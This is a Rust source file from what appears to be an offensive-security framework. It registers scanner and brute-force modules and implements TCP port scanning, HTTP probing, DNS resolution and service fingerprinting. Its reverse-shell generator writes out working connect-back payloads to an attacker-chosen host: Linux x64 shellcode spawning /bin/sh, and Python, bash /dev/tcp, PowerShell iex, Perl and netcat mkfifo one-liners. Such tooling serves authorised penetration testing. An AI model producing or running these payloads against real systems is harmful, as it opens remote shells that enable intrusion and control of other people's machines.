1use crate::core::module::{Module, ModuleEntry, ModuleError, ModuleResult};
2use async_trait::async_trait;
3use base64::engine::general_purpose::STANDARD;
4use base64::Engine;
5use icebox_macro::module;
6use std::sync::Mutex;
7
8pub mod network_scanners;
9pub mod recon_scanners;
10pub mod vuln_scanner;
11
12static DYNAMIC: Mutex<Vec<ModuleEntry>> = Mutex::new(Vec::new());
13
14pub fn register_dynamic(entry: ModuleEntry) {
15 let mut guard = match DYNAMIC.lock() {
16 Ok(g) => g,
17 Err(poisoned) => poisoned.into_inner(),
18 };
19 guard.push(entry);
20}
21
22pub fn register_builtin(entry: ModuleEntry) {
23 let name = (entry.info)().name;
24 let mut guard = match DYNAMIC.lock() {
25 Ok(g) => g,
26 Err(poisoned) => poisoned.into_inner(),
27 };
28 if !guard.iter().any(|e| (e.info)().name == name) {
29 guard.push(entry);
30 }
31}
32
33pub fn discover() -> Vec<ModuleEntry> {
34 use std::sync::Once;
35 static INIT: Once = Once::new();
36 INIT.call_once(register_all_builtins);
37
38 let mut all: Vec<ModuleEntry> = crate::MODULE_REGISTRY.iter().copied().collect();
39 let guard = match DYNAMIC.lock() {
40 Ok(g) => g,
41 Err(poisoned) => poisoned.into_inner(),
42 };
43 all.extend(guard.iter().copied());
44 all
45}
46
47pub fn load(name: &str) -> Option<crate::core::module::LoadedModule> {
48 discover()
49 .into_iter()
50 .find(|e| (e.info)().name == name)
51 .map(|e| crate::core::module::LoadedModule {
52 info: (e.info)(),
53 module: (e.make)(),
54 })
55}
56
57pub fn register_all_builtins() {
58 let entries: Vec<ModuleEntry> = vec![
59 ModuleEntry {
60 info: DnsResolver::build_info,
61 make: || Box::new(DnsResolver::default()),
62 },
63 ModuleEntry {
64 info: HttpProbe::build_info,
65 make: || Box::new(HttpProbe::default()),
66 },
67 ModuleEntry {
68 info: ReverseShell::build_info,
69 make: || Box::new(ReverseShell::default()),
70 },
71 ModuleEntry {
72 info: ServiceFingerprinter::build_info,
73 make: || Box::new(ServiceFingerprinter::default()),
74 },
75 ModuleEntry {
76 info: TcpPortScanner::build_info,
77 make: || Box::new(TcpPortScanner::default()),
78 },
79 ModuleEntry {
80 info: vuln_scanner::VulnScanner::build_info,
81 make: || Box::new(vuln_scanner::VulnScanner::default()),
82 },
83 ModuleEntry {
84 info: network_scanners::ArpScanner::build_info,
85 make: || Box::new(network_scanners::ArpScanner::default()),
86 },
87 ModuleEntry {
88 info: network_scanners::FtpBruteforce::build_info,
89 make: || Box::new(network_scanners::FtpBruteforce::default()),
90 },
91 ModuleEntry {
92 info: network_scanners::FtpScanner::build_info,
93 make: || Box::new(network_scanners::FtpScanner::default()),
94 },
95 ModuleEntry {
96 info: network_scanners::RdpScanner::build_info,
97 make: || Box::new(network_scanners::RdpScanner::default()),
98 },
99 ModuleEntry {
100 info: network_scanners::RedisScanner::build_info,
101 make: || Box::new(network_scanners::RedisScanner::default()),
102 },
103 ModuleEntry {
104 info: network_scanners::SmbScanner::build_info,
105 make: || Box::new(network_scanners::SmbScanner::default()),
106 },
107 ModuleEntry {
108 info: network_scanners::SshBruteforce::build_info,
109 make: || Box::new(network_scanners::SshBruteforce::default()),
110 },
111 ModuleEntry {
112 info: network_scanners::SshScanner::build_info,
113 make: || Box::new(network_scanners::SshScanner::default()),
114 },
115 ModuleEntry {
116 info: network_scanners::TelnetScanner::build_info,
117 make: || Box::new(network_scanners::TelnetScanner::default()),
118 },
119 ModuleEntry {
120 info: network_scanners::VncScanner::build_info,
121 make: || Box::new(network_scanners::VncScanner::default()),
122 },
123 ModuleEntry {
124 info: recon_scanners::DnsZoneTransfer::build_info,
125 make: || Box::new(recon_scanners::DnsZoneTransfer::default()),
126 },
127 ModuleEntry {
128 info: recon_scanners::EsScanner::build_info,
129 make: || Box::new(recon_scanners::EsScanner::default()),
130 },
131 ModuleEntry {
132 info: recon_scanners::MongoScanner::build_info,
133 make: || Box::new(recon_scanners::MongoScanner::default()),
134 },
135 ModuleEntry {
136 info: recon_scanners::MysqlScanner::build_info,
137 make: || Box::new(recon_scanners::MysqlScanner::default()),
138 },
139 ModuleEntry {
140 info: recon_scanners::PostgresScanner::build_info,
141 make: || Box::new(recon_scanners::PostgresScanner::default()),
142 },
143 ModuleEntry {
144 info: recon_scanners::SmtpScanner::build_info,
145 make: || Box::new(recon_scanners::SmtpScanner::default()),
146 },
147 ModuleEntry {
148 info: recon_scanners::SnmpScanner::build_info,
149 make: || Box::new(recon_scanners::SnmpScanner::default()),
150 },
151 ModuleEntry {
152 info: recon_scanners::SubdomainEnum::build_info,
153 make: || Box::new(recon_scanners::SubdomainEnum::default()),
154 },
155 ModuleEntry {
156 info: recon_scanners::WebPathScanner::build_info,
157 make: || Box::new(recon_scanners::WebPathScanner::default()),
158 },
159 ModuleEntry {
160 info: recon_scanners::WhoisLookup::build_info,
161 make: || Box::new(recon_scanners::WhoisLookup::default()),
162 },
163 ];
164 for e in entries {
165 register_builtin(e);
166 }
167}
168
169fn generate_linux_x64_shellcode(lhost: &str, lport: u16) -> Result<Vec<u8>, ModuleError> {
170 let mut sc = Vec::new();
171 sc.extend_from_slice(&[
172 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05,
173 ]);
174 sc.extend_from_slice(&[0x48, 0x97]);
175 sc.extend_from_slice(&[0x4d, 0x31, 0xd2, 0x41, 0x52]);
176 sc.extend_from_slice(&[0x48, 0xb9]);
177 sc.extend_from_slice(&[0x02, 0x00]);
178 sc.extend_from_slice(&lport.to_be_bytes());
179 sc.extend_from_slice(
180 &lhost
181 .parse::<std::net::Ipv4Addr>()
182 .map_err(|_| ModuleError::Other(format!("invalid IPv4: {lhost}")))?
183 .octets(),
184 );
185 sc.push(0x51);
186 sc.extend_from_slice(&[
187 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05,
188 ]);
189 sc.extend_from_slice(&[0x6a, 0x03, 0x5e]);
190 sc.extend_from_slice(&[0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6]);
191 sc.extend_from_slice(&[0x48, 0x31, 0xd2, 0x52]);
192 sc.extend_from_slice(&[0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68]);
193 sc.extend_from_slice(&[0x53, 0x48, 0x89, 0xe7]);
194 sc.extend_from_slice(&[0x52, 0x57, 0x48, 0x89, 0xe6]);
195 sc.extend_from_slice(&[0xb0, 0x3b, 0x0f, 0x05]);
196 Ok(sc)
197}
198
199fn generate_python_shell(lhost: &str, lport: u16) -> String {
200 format!(
201 r#"import socket,subprocess,os,pty
202s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
203s.connect(("{lhost}",{lport}))
204os.dup2(s.fileno(),0)
205os.dup2(s.fileno(),1)
206os.dup2(s.fileno(),2)
207import pty; pty.spawn("/bin/sh")
208"#,
209 )
210}
211
212fn generate_bash_shell(lhost: &str, lport: u16) -> String {
213 format!("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
214}
215
216fn generate_powershell_shell(lhost: &str, lport: u16) -> String {
217 format!(
218 r#"$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});
219$stream = $client.GetStream();
220[byte[]]$bytes = 0..65535|%{{0}};
221while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
222 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
223 $sendback = (iex $data 2>&1 | Out-String );
224 $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
225 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
226 $stream.Write($sendbyte,0,$sendbyte.Length);
227 $stream.Flush()
228}};
229$client.Close()
230"#,
231 )
232}
233
234fn generate_perl_shell(lhost: &str, lport: u16) -> String {
235 format!(
236 "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};\n\
237socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));\n\
238if(connect(S,sockaddr_in($p,inet_aton($i)))){{\n\
239 open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");\n\
240 exec(\"/bin/sh -i\");\n\
241}}'"
242 )
243}
244fn generate_nc_shell(lhost: &str, lport: u16) -> String {
245 format!("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
246}
247
248#[module(
249 name = "reverse_shell_generator",
250 kind = "Payload",
251 description = "Multi-format reverse shell payload generator (shellcode + one-liners)",
252 author = "ICEBOX"
253)]
254pub struct ReverseShell {
255 #[option(required = true, help = "LHOST for callback (IP address)")]
256 pub lhost: String,
257 #[option(required = true, help = "LPORT for callback")]
258 pub lport: u16,
259 #[option(help = "Payload format: shellcode,python,bash,powershell,perl,nc,all (default: all)")]
260 pub format: String,
261}
262
263impl ReverseShell {
264 fn build_payloads(&self) -> (serde_json::Map<String, serde_json::Value>, Vec<String>) {
265 let lhost = self.lhost.trim();
266 let lport = self.lport;
267 let want =
268 |f: &str| self.format.is_empty() || self.format == "all" || self.format.contains(f);
269
270 let mut payloads = serde_json::Map::new();
271 let mut evidence = Vec::new();
272
273 if want("shellcode") {
274 match generate_linux_x64_shellcode(lhost, lport) {
275 Ok(shellcode) => {
276 let hex = shellcode
277 .iter()
278 .map(|b| format!("\\x{b:02x}"))
279 .collect::<String>();
280 let b64 = base64_encode(&shellcode);
281 let c_array = shellcode
282 .iter()
283 .map(|b| format!("0x{b:02x}"))
284 .collect::<Vec<_>>()
285 .join(", ");
286 let c_code =
287 format!("unsigned char buf[] = {{ {c_array} }};\nint len = sizeof(buf);\n");
288 payloads.insert(
289 "linux_x64_shellcode".into(),
290 serde_json::json!({
291 "hex": hex,
292 "base64": b64,
293 "c_code": c_code,
294 "raw_len": shellcode.len(),
295 }),
296 );
297 evidence.push(format!("payload/shellcode ({} bytes)", shellcode.len()));
298 }
299 Err(e) => {
300 payloads.insert(
301 "linux_x64_shellcode_error".into(),
302 serde_json::json!(e.to_string()),
303 );
304 }
305 }
306 }
307
308 if want("python") {
309 let py = generate_python_shell(lhost, lport);
310 payloads.insert("python".into(), serde_json::json!(py));
311 evidence.push("payload/python".into());
312 }
313
314 if want("bash") {
315 let sh = generate_bash_shell(lhost, lport);
316 payloads.insert("bash".into(), serde_json::json!(sh));
317 evidence.push("payload/bash".into());
318 }
319
320 if want("powershell") {
321 let ps = generate_powershell_shell(lhost, lport);
322 payloads.insert("powershell".into(), serde_json::json!(ps));
323 evidence.push("payload/powershell".into());
324 }
325
326 if want("perl") {
327 let pl = generate_perl_shell(lhost, lport);
328 payloads.insert("perl".into(), serde_json::json!(pl));
329 evidence.push("payload/perl".into());
330 }
331
332 if want("nc") {
333 let nc = generate_nc_shell(lhost, lport);
334 payloads.insert("netcat".into(), serde_json::json!(nc));
335 evidence.push("payload/netcat".into());
336 }
337
338 (payloads, evidence)
339 }
340}
341
342#[async_trait]
343impl Module for ReverseShell {
344 fn options_json(&self) -> serde_json::Value {
345 serde_json::to_value(&ReverseShellOptions {
346 lhost: self.lhost.clone(),
347 lport: self.lport,
348 format: self.format.clone(),
349 })
350 .unwrap_or(serde_json::Value::Null)
351 }
352
353 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
354 let mut o = ReverseShellOptions {
355 lhost: self.lhost.clone(),
356 lport: self.lport,
357 format: self.format.clone(),
358 };
359 o.set(name, value)?;
360 self.lhost = o.lhost;
361 self.lport = o.lport;
362 self.format = o.format;
363 Ok(())
364 }
365
366 fn validate(&self) -> Result<(), ModuleError> {
367 ReverseShellOptions {
368 lhost: self.lhost.clone(),
369 lport: self.lport,
370 format: self.format.clone(),
371 }
372 .validate()?;
373 self.lhost
374 .parse::<std::net::Ipv4Addr>()
375 .map_err(|_| ModuleError::Other(format!("invalid IPv4 address: {}", self.lhost)))?;
376 Ok(())
377 }
378
379 async fn dry_run(&self) -> Result<ModuleResult, ModuleError> {
380 let (payloads, evidence) = self.build_payloads();
381 let count = payloads.len();
382 Ok(ModuleResult {
383 success: true,
384 finding: Some(format!("Generated {count} payload format(s) [dry_run]")),
385 evidence,
386 data: serde_json::json!({ "payloads": payloads, "count": count }),
387 ..Default::default()
388 })
389 }
390
391 async fn run(&self) -> Result<ModuleResult, ModuleError> {
392 let lhost = self.lhost.trim().to_string();
393 let lport = self.lport;
394 let (payloads, evidence) = self.build_payloads();
395 let count = payloads.len();
396 Ok(ModuleResult {
397 success: true,
398 session_id: Some(format!("session:{lhost}:{lport}")),
399 finding: Some(format!(
400 "Generated {count} payload format(s) for LHOST={lhost} LPORT={lport}"
401 )),
402 evidence,
403 data: serde_json::json!({
404 "lhost": lhost,
405 "lport": lport,
406 "formats": self.format,
407 "payloads": payloads,
408 "count": count,
409 }),
410 ..Default::default()
411 })
412 }
413}
414
415fn base64_encode(data: &[u8]) -> String {
416 STANDARD.encode(data)
417}
418
419pub(crate) fn hex_encode(data: &[u8]) -> String {
420 hex::encode(data)
421}
422
423#[module(
424 name = "tcp_port_scanner",
425 kind = "Scanner",
426 description = "TCP connect port scanner",
427 author = "ICEBOX"
428)]
429pub struct TcpPortScanner {
430 #[option(required = true, help = "Target IP or hostname")]
431 pub host: String,
432 #[option(required = true, help = "Ports to scan (e.g. 1-1024 or 22,80,443)")]
433 pub ports: String,
434 #[option(help = "Timeout per port in milliseconds (default 1000)")]
435 pub timeout_ms: u64,
436}
437
438impl TcpPortScanner {
439 fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
440 let mut ports = Vec::new();
441 for part in spec.split(',') {
442 let part = part.trim();
443 if part.is_empty() {
444 continue;
445 }
446 if let Some((lo, hi)) = part.split_once('-') {
447 let lo: u16 = lo
448 .trim()
449 .parse()
450 .map_err(|_| ModuleError::Parse(format!("bad range lower: {lo}")))?;
451 let hi: u16 = hi
452 .trim()
453 .parse()
454 .map_err(|_| ModuleError::Parse(format!("bad range upper: {hi}")))?;
455 if lo > hi {
456 return Err(ModuleError::Parse(format!("range {lo} > {hi}")));
457 }
458 for p in lo..=hi {
459 ports.push(p);
460 }
461 } else {
462 let p: u16 = part
463 .parse()
464 .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
465 ports.push(p);
466 }
467 }
468 if ports.is_empty() {
469 return Err(ModuleError::Other("no ports specified".into()));
470 }
471 Ok(ports)
472 }
473}
474
475#[async_trait]
476impl Module for TcpPortScanner {
477 fn options_json(&self) -> serde_json::Value {
478 serde_json::to_value(&TcpPortScannerOptions {
479 host: self.host.clone(),
480 ports: self.ports.clone(),
481 timeout_ms: self.timeout_ms,
482 })
483 .unwrap_or(serde_json::Value::Null)
484 }
485
486 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
487 let mut o = TcpPortScannerOptions {
488 host: self.host.clone(),
489 ports: self.ports.clone(),
490 timeout_ms: self.timeout_ms,
491 };
492 o.set(name, value)?;
493 self.host = o.host;
494 self.ports = o.ports;
495 self.timeout_ms = o.timeout_ms;
496 Ok(())
497 }
498
499 fn validate(&self) -> Result<(), ModuleError> {
500 TcpPortScannerOptions {
501 host: self.host.clone(),
502 ports: self.ports.clone(),
503 timeout_ms: self.timeout_ms,
504 }
505 .validate()?;
506 Self::resolve_ports(&self.ports).map(|_| ())
507 }
508
509 async fn run(&self) -> Result<ModuleResult, ModuleError> {
510 let ports = Self::resolve_ports(&self.ports)?;
511 let timeout = if self.timeout_ms > 0 {
512 std::time::Duration::from_millis(self.timeout_ms)
513 } else {
514 std::time::Duration::from_secs(1)
515 };
516 let host = self.host.clone();
517 let concurrency = 100usize;
518 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
519
520 let mut handles = Vec::new();
521 for port in ports {
522 let permit = semaphore
523 .clone()
524 .acquire_owned()
525 .await
526 .map_err(|e| ModuleError::Other(e.to_string()))?;
527 let h = host.clone();
528 handles.push(tokio::spawn(async move {
529 let _permit = permit;
530 let addr = crate::core::proxy::resolve_dial(&h, port);
531 match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
532 Ok(Ok(_)) => Some(port),
533 _ => None,
534 }
535 }));
536 }
537
538 let mut open_ports: Vec<u16> = Vec::new();
539 for h in handles {
540 if let Ok(Some(port)) = h.await {
541 open_ports.push(port);
542 }
543 }
544 open_ports.sort();
545
546 let finding = if open_ports.is_empty() {
547 "No open ports found".to_string()
548 } else {
549 format!(
550 "Open ports: {}",
551 open_ports
552 .iter()
553 .map(|p| p.to_string())
554 .collect::<Vec<_>>()
555 .join(", ")
556 )
557 };
558
559 Ok(ModuleResult {
560 success: true,
561 finding: Some(finding),
562 evidence: open_ports.iter().map(|p| format!("tcp/{p}")).collect(),
563 data: serde_json::json!({
564 "host": self.host,
565 "open_ports": open_ports,
566 }),
567 ..Default::default()
568 })
569 }
570}
571
572#[module(
573 name = "http_probe",
574 kind = "Scanner",
575 description = "HTTP service banner grabber",
576 author = "ICEBOX"
577)]
578pub struct HttpProbe {
579 #[option(required = true, help = "Target IP or hostname")]
580 pub host: String,
581 #[option(
582 required = true,
583 help = "Ports to probe (comma-separated, e.g. 80,443,8080)"
584 )]
585 pub ports: String,
586 #[option(help = "Timeout per probe in milliseconds (default 3000)")]
587 pub timeout_ms: u64,
588}
589
590#[async_trait]
591impl Module for HttpProbe {
592 fn options_json(&self) -> serde_json::Value {
593 serde_json::to_value(&HttpProbeOptions {
594 host: self.host.clone(),
595 ports: self.ports.clone(),
596 timeout_ms: self.timeout_ms,
597 })
598 .unwrap_or(serde_json::Value::Null)
599 }
600
601 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
602 let mut o = HttpProbeOptions {
603 host: self.host.clone(),
604 ports: self.ports.clone(),
605 timeout_ms: self.timeout_ms,
606 };
607 o.set(name, value)?;
608 self.host = o.host;
609 self.ports = o.ports;
610 self.timeout_ms = o.timeout_ms;
611 Ok(())
612 }
613
614 fn validate(&self) -> Result<(), ModuleError> {
615 HttpProbeOptions {
616 host: self.host.clone(),
617 ports: self.ports.clone(),
618 timeout_ms: self.timeout_ms,
619 }
620 .validate()
621 }
622
623 async fn run(&self) -> Result<ModuleResult, ModuleError> {
624 let host = self.host.clone();
625 let timeout = if self.timeout_ms > 0 {
626 std::time::Duration::from_millis(self.timeout_ms)
627 } else {
628 std::time::Duration::from_secs(3)
629 };
630
631 let ports: Vec<&str> = self
632 .ports
633 .split(',')
634 .map(|s| s.trim())
635 .filter(|s| !s.is_empty())
636 .collect();
637 if ports.is_empty() {
638 return Err(ModuleError::Other("no ports specified".into()));
639 }
640
641 let concurrency = 20usize;
642 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
643 let mut handles = Vec::new();
644 let request = b"GET / HTTP/1.0\r\nHost: placeholder\r\n\r\n";
645
646 for port_str in ports {
647 let port: u16 = port_str
648 .parse()
649 .map_err(|_| ModuleError::Parse(format!("bad port: {port_str}")))?;
650 let permit = semaphore
651 .clone()
652 .acquire_owned()
653 .await
654 .map_err(|e| ModuleError::Other(e.to_string()))?;
655 let h = host.clone();
656 let req = request.to_vec();
657 handles.push(tokio::spawn(async move {
658 let _permit = permit;
659 let addr = crate::core::proxy::resolve_dial(&h, port);
660 let stream = match tokio::time::timeout(
661 timeout,
662 tokio::net::TcpStream::connect(&addr),
663 )
664 .await
665 {
666 Ok(Ok(s)) => s,
667 _ => return None,
668 };
669 if tokio::time::timeout(timeout, stream.writable())
670 .await
671 .is_err()
672 {
673 return None;
674 }
675 let _ = stream.try_write(&req);
676 let mut buf = vec![0u8; 4096];
677 let n = match tokio::time::timeout(timeout, stream.readable()).await {
678 Ok(_) => stream.try_read(&mut buf).unwrap_or(0),
679 _ => 0,
680 };
681 if n == 0 {
682 return None;
683 }
684 let resp = String::from_utf8_lossy(&buf[..n.min(1024)]).to_string();
685 let first_line = resp.lines().next().unwrap_or("").to_string();
686 let server = resp
687 .lines()
688 .find(|l| l.to_ascii_lowercase().starts_with("server:"))
689 .unwrap_or("")
690 .to_string();
691 Some((port, first_line, server, resp.len()))
692 }));
693 }
694
695 let mut services: Vec<serde_json::Value> = Vec::new();
696 for h in handles {
697 if let Ok(Some((port, status, server, size))) = h.await {
698 services.push(serde_json::json!({
699 "port": port,
700 "status": status,
701 "server": if server.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(server) },
702 "response_size": size,
703 }));
704 }
705 }
706
707 if services.is_empty() {
708 return Ok(ModuleResult {
709 success: true,
710 finding: Some("No HTTP services detected on specified ports".into()),
711 evidence: Vec::new(),
712 data: serde_json::json!({ "host": self.host, "services": services }),
713 ..Default::default()
714 });
715 }
716
717 let banners: Vec<String> = services
718 .iter()
719 .map(|s| {
720 let port = s["port"].as_u64().unwrap_or(0);
721 let status = s["status"].as_str().unwrap_or("");
722 let server = s["server"].as_str().unwrap_or("");
723 format!("tcp/{port} {status} {server}")
724 })
725 .collect();
726
727 Ok(ModuleResult {
728 success: true,
729 finding: Some(format!("Detected {} HTTP services", services.len())),
730 evidence: banners,
731 data: serde_json::json!({
732 "host": self.host,
733 "services": services,
734 }),
735 ..Default::default()
736 })
737 }
738}
739
740#[module(
741 name = "dns_resolver",
742 kind = "Auxiliary",
743 description = "Resolve a hostname to IPv4/IPv6 addresses via system DNS",
744 author = "ICEBOX"
745)]
746pub struct DnsResolver {
747 #[option(required = true, help = "Hostname to resolve")]
748 pub hostname: String,
749}
750
751#[async_trait]
752impl Module for DnsResolver {
753 fn options_json(&self) -> serde_json::Value {
754 serde_json::to_value(&DnsResolverOptions {
755 hostname: self.hostname.clone(),
756 })
757 .unwrap_or(serde_json::Value::Null)
758 }
759
760 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
761 let mut o = DnsResolverOptions {
762 hostname: self.hostname.clone(),
763 };
764 o.set(name, value)?;
765 self.hostname = o.hostname;
766 Ok(())
767 }
768
769 fn validate(&self) -> Result<(), ModuleError> {
770 DnsResolverOptions {
771 hostname: self.hostname.clone(),
772 }
773 .validate()
774 }
775
776 async fn run(&self) -> Result<ModuleResult, ModuleError> {
777 let hostname = self.hostname.trim();
778 if hostname.is_empty() {
779 return Err(ModuleError::Other("hostname required".into()));
780 }
781 let addrs: Vec<std::net::IpAddr> = match tokio::net::lookup_host((hostname, 0)).await {
782 Ok(addrs) => addrs.map(|a| a.ip()).collect(),
783 Err(e) => {
784 return Ok(ModuleResult {
785 success: false,
786 finding: Some(format!("DNS resolution failed: {e}")),
787 evidence: vec![format!("dns_error: {e}")],
788 data: serde_json::json!({ "hostname": hostname, "error": e.to_string() }),
789 ..Default::default()
790 });
791 }
792 };
793
794 let v4: Vec<String> = addrs
795 .iter()
796 .filter(|a| a.is_ipv4())
797 .map(|a| a.to_string())
798 .collect();
799 let v6: Vec<String> = addrs
800 .iter()
801 .filter(|a| a.is_ipv6())
802 .map(|a| a.to_string())
803 .collect();
804
805 let count = addrs.len();
806 let finding = if count == 0 {
807 "No DNS records found".into()
808 } else {
809 format!(
810 "Resolved {count} address(es): {}",
811 addrs
812 .iter()
813 .map(|a| a.to_string())
814 .collect::<Vec<_>>()
815 .join(", ")
816 )
817 };
818
819 Ok(ModuleResult {
820 success: count > 0,
821 finding: Some(finding),
822 evidence: addrs.iter().map(|a| format!("dns/{a}")).collect(),
823 data: serde_json::json!({
824 "hostname": hostname,
825 "ipv4": v4,
826 "ipv6": v6,
827 "addresses": addrs,
828 }),
829 ..Default::default()
830 })
831 }
832}
833
834#[module(
835 name = "service_fingerprinter",
836 kind = "Scanner",
837 description = "Identify services on open ports via protocol banner grabbing",
838 author = "ICEBOX"
839)]
840pub struct ServiceFingerprinter {
841 #[option(required = true, help = "Target IP or hostname")]
842 pub host: String,
843 #[option(required = true, help = "Ports to fingerprint (comma-separated)")]
844 pub ports: String,
845 #[option(help = "Timeout per probe in milliseconds (default 3000)")]
846 pub timeout_ms: u64,
847}
848
849impl ServiceFingerprinter {
850 fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
851 let mut ports = Vec::new();
852 for part in spec.split(',') {
853 let p: u16 = part
854 .trim()
855 .parse()
856 .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
857 ports.push(p);
858 }
859 if ports.is_empty() {
860 return Err(ModuleError::Other("no ports specified".into()));
861 }
862 Ok(ports)
863 }
864
865 fn probe_for_port(port: u16) -> &'static [u8] {
866 match port {
867 21 => b"FEAT\r\n",
868 22 => b"",
869 23 => b"\r\n",
870 25 => b"EHLO probe\r\n",
871 53 => b"",
872 80 | 8080 | 8000 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
873 110 => b"",
874 111 => b"",
875 135 => b"",
876 139 => b"",
877 143 => b"a001 LOGOUT\r\n",
878 389 => b"",
879 443 => b"",
880 445 => b"",
881 993 => b"",
882 995 => b"",
883 3306 => b"",
884 3389 => b"",
885 5432 => b"",
886 6379 => b"",
887 8443 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
888 27017 => b"",
889 _ => b"",
890 }
891 }
892}
893
894#[async_trait]
895impl Module for ServiceFingerprinter {
896 fn options_json(&self) -> serde_json::Value {
897 serde_json::to_value(&ServiceFingerprinterOptions {
898 host: self.host.clone(),
899 ports: self.ports.clone(),
900 timeout_ms: self.timeout_ms,
901 })
902 .unwrap_or(serde_json::Value::Null)
903 }
904
905 fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
906 let mut o = ServiceFingerprinterOptions {
907 host: self.host.clone(),
908 ports: self.ports.clone(),
909 timeout_ms: self.timeout_ms,
910 };
911 o.set(name, value)?;
912 self.host = o.host;
913 self.ports = o.ports;
914 self.timeout_ms = o.timeout_ms;
915 Ok(())
916 }
917
918 fn validate(&self) -> Result<(), ModuleError> {
919 ServiceFingerprinterOptions {
920 host: self.host.clone(),
921 ports: self.ports.clone(),
922 timeout_ms: self.timeout_ms,
923 }
924 .validate()
925 }
926
927 async fn run(&self) -> Result<ModuleResult, ModuleError> {
928 let ports = Self::resolve_ports(&self.ports)?;
929 let timeout = if self.timeout_ms > 0 {
930 std::time::Duration::from_millis(self.timeout_ms)
931 } else {
932 std::time::Duration::from_secs(3)
933 };
934 let host = self.host.clone();
935
936 let concurrency = 10usize;
937 let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
938
939 let mut handles = Vec::new();
940 for port in ports {
941 let permit = semaphore
942 .clone()
943 .acquire_owned()
944 .await
945 .map_err(|e| ModuleError::Other(e.to_string()))?;
946 let h = host.clone();
947 let probe = Self::probe_for_port(port).to_vec();
948 handles.push(tokio::spawn(async move {
949 let _permit = permit;
950 let addr = crate::core::proxy::resolve_dial(&h, port);
951 let stream = match tokio::time::timeout(
952 timeout,
953 tokio::net::TcpStream::connect(&addr),
954 )
955 .await
956 {
957 Ok(Ok(s)) => s,
958 _ => return None,
959 };
960 if !probe.is_empty() {
961 let _ = stream.try_write(&probe);
962 }
963 let mut buf = vec![0u8; 4096];
964 let read_timeout = timeout.min(std::time::Duration::from_secs(1));
965 let n = match tokio::time::timeout(read_timeout, stream.readable()).await {
966 Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
967 _ => 0,
968 };
969 if n == 0 {
970 return Some((port, "open".into(), String::new()));
971 }
972 let raw = &buf[..n.min(1024)];
973 let resp = String::from_utf8_lossy(raw).to_string();
974 let clean: Vec<&str> = resp.lines().filter(|l| !l.is_empty()).collect();
975 let banner = clean.join(" | ");
976 let summary = clean.first().unwrap_or(&"").to_string();
977 Some((port, summary, banner))
978 }));
979 }
980
981 let mut services: Vec<serde_json::Value> = Vec::new();
982 for h in handles {
983 if let Ok(Some((port, summary, banner))) = h.await {
984 services.push(serde_json::json!({
985 "port": port,
986 "summary": summary,
987 "banner": if banner.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(banner) },
988 }));
989 }
990 }
991
992 let evidence: Vec<String> = services
993 .iter()
994 .map(|s| {
995 let port = s["port"].as_u64().unwrap_or(0);
996 let summary = s["summary"].as_str().unwrap_or("");
997 format!("tcp/{port}: {summary}")
998 })
999 .collect();
1000
1001 Ok(ModuleResult {
1002 success: true,
1003 finding: Some(format!("Fingerprinted {} service(s)", services.len())),
1004 evidence,
1005 data: serde_json::json!({
1006 "host": self.host,
1007 "services": services,
1008 }),
1009 ..Default::default()
1010 })
1011 }
1012}